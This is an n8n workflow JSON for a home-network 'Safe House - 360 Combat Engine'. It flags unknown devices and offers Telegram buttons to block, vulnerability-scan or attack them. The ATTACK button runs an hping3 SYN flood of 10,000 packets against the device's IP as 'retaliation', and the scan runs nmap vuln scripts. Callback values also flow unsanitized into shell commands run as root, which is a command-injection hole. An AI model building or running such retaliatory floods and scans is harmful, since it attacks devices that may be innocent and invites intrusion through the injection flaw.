{
  "name": "Safe House - 360 Combat Engine",
  "nodes": [
    {
      "parameters": { "httpMethod": "POST", "path": "safehouse-device-alert" },
      "name": "Monitor: HA Webhook",
      "type": "n8n-nodes-base.webhook",
      "typeVersion": 1,
      "position": [0, 0]
    },
    {
      "parameters": {
        "jsCode": "const staticData = $getWorkflowStaticData(\"global\");\nconst trusted = staticData.trusted || [];\nconst mac = $input.first().json.body.mac;\nreturn { isNew: !trusted.includes(mac), mac: mac, ip: $input.first().json.body.ip, name: $input.first().json.body.device_name };"
      },
      "name": "Analyze: Whitelist",
      "type": "n8n-nodes-base.code",
      "typeVersion": 2,
      "position": [220, 0]
    },
    {
      "parameters": {
        "conditions": { "boolean": [{ "value1": "={{ $json.isNew }}", "value2": true }] }
      },
      "name": "Filter: Is Unknown?",
      "type": "n8n-nodes-base.if",
      "typeVersion": 1,
      "position": [440, 0]
    },
    {
      "parameters": {
        "chatId": "-1003716487381",
        "text": "=🛡️ **360° THREAT DETECTED**\n\n**Target:** {{ $json.name }}\n**IP:** `{{ $json.ip }}`\n**MAC:** `{{ $json.mac }}`\n\n*Choose Level of Combat Response:*",
        "replyMarkup": "inlineKeyboard",
        "inlineKeyboard": {
          "rows": [
            {
              "row": {
                "buttons": [
                  { "text": "🚫 NEUTRALIZE", "additionalFields": { "callback_data": "=BLOCK|{{ $json.mac }}|{{ $json.ip }}" } },
                  { "text": "💀 ATTACK", "additionalFields": { "callback_data": "=ATTACK|{{ $json.ip }}" } },
                  { "text": "🔍 VULN SCAN", "additionalFields": { "callback_data": "=SCAN|{{ $json.ip }}" } }
                ]
              }
            }
          ]
        },
        "additionalFields": { "parse_mode": "Markdown" }
      },
      "name": "Respond: Combat Alert",
      "type": "n8n-nodes-base.telegram",
      "typeVersion": 1,
      "position": [660, 0]
    },
    {
      "parameters": { "updates": ["callback_query"] },
      "name": "Trigger: User Action",
      "type": "n8n-nodes-base.telegramTrigger",
      "typeVersion": 1,
      "position": [0, 400]
    },
    {
      "parameters": {
        "dataType": "string",
        "value1": "={{ $json.callback_query.data.split('|')[0] }}",
        "rules": {
          "rules": [
            { "value2": "BLOCK" },
            { "value2": "SCAN", "output": 1 },
            { "value2": "ATTACK", "output": 2 }
          ]
        }
      },
      "name": "Switch: Combat Mode",
      "type": "n8n-nodes-base.switch",
      "typeVersion": 1,
      "position": [250, 400]
    },
    {
      "parameters": {
        "command": "=docker exec -u 0 05385ea0f9f0bfdde65cd31f556cee40e393f29b4638a1392b854d8fe226ab2f /bin/sh -c \"iptables -I FORWARD -m mac --mac-source {{ $json.callback_query.data.split('|')[1] }} -j DROP && echo 'BLOCK APPLIED.' && (ping -c 2 -W 1 {{ $json.callback_query.data.split('|')[2] }} > /dev/null && echo 'WARNING: TARGET STILL REACHABLE' || echo 'SUCCESS: TARGET NEUTRALIZED')\""
      },
      "name": "Kali: Neutralize",
      "type": "n8n-nodes-base.ssh",
      "typeVersion": 1,
      "position": [550, 250]
    },
    {
      "parameters": {
        "command": "=docker exec 05385ea0f9f0bfdde65cd31f556cee40e393f29b4638a1392b854d8fe226ab2f nmap -sV -T4 -A --script vuln {{ $json.callback_query.data.split('|')[1] }}"
      },
      "name": "Kali: Deep Scan",
      "type": "n8n-nodes-base.ssh",
      "typeVersion": 1,
      "position": [550, 400]
    },
    {
      "parameters": {
        "command": "=docker exec -u 0 05385ea0f9f0bfdde65cd31f556cee40e393f29b4638a1392b854d8fe226ab2f hping3 --flood -S -p 80 {{ $json.callback_query.data.split('|')[1] }} --count 10000"
      },
      "name": "Kali: Retaliate",
      "type": "n8n-nodes-base.ssh",
      "typeVersion": 1,
      "position": [550, 550]
    },
    {
      "parameters": {
        "chatId": "-1003716487381",
        "text": "=⚔️ **KALI BATTLE REPORT**\n\n```\n{{ $json.stdout || 'Action successful. No response from target.' }}\n```",
        "additionalFields": { "parse_mode": "Markdown" }
      },
      "name": "Final: Results",
      "type": "n8n-nodes-base.telegram",
      "typeVersion": 1,
      "position": [850, 400]
    }
  ],
  "connections": {
    "Monitor: HA Webhook": { "main": [[{ "node": "Analyze: Whitelist", "index": 0 }]] },
    "Analyze: Whitelist": { "main": [[{ "node": "Filter: Is Unknown?", "index": 0 }]] },
    "Filter: Is Unknown?": { "main": [[{ "node": "Respond: Combat Alert", "index": 0 }]] },
    "Trigger: User Action": { "main": [[{ "node": "Switch: Combat Mode", "index": 0 }]] },
    "Switch: Combat Mode": { "main": [[{ "node": "Kali: Neutralize", "index": 0 }], [{ "node": "Kali: Deep Scan", "index": 0 }], [{ "node": "Kali: Retaliate", "index": 0 }]] },
    "Kali: Neutralize": { "main": [[{ "node": "Final: Results", "index": 0 }]] },
    "Kali: Deep Scan": { "main": [[{ "node": "Final: Results", "index": 0 }]] },
    "Kali: Retaliate": { "main": [[{ "node": "Final: Results", "index": 0 }]] }
  }
}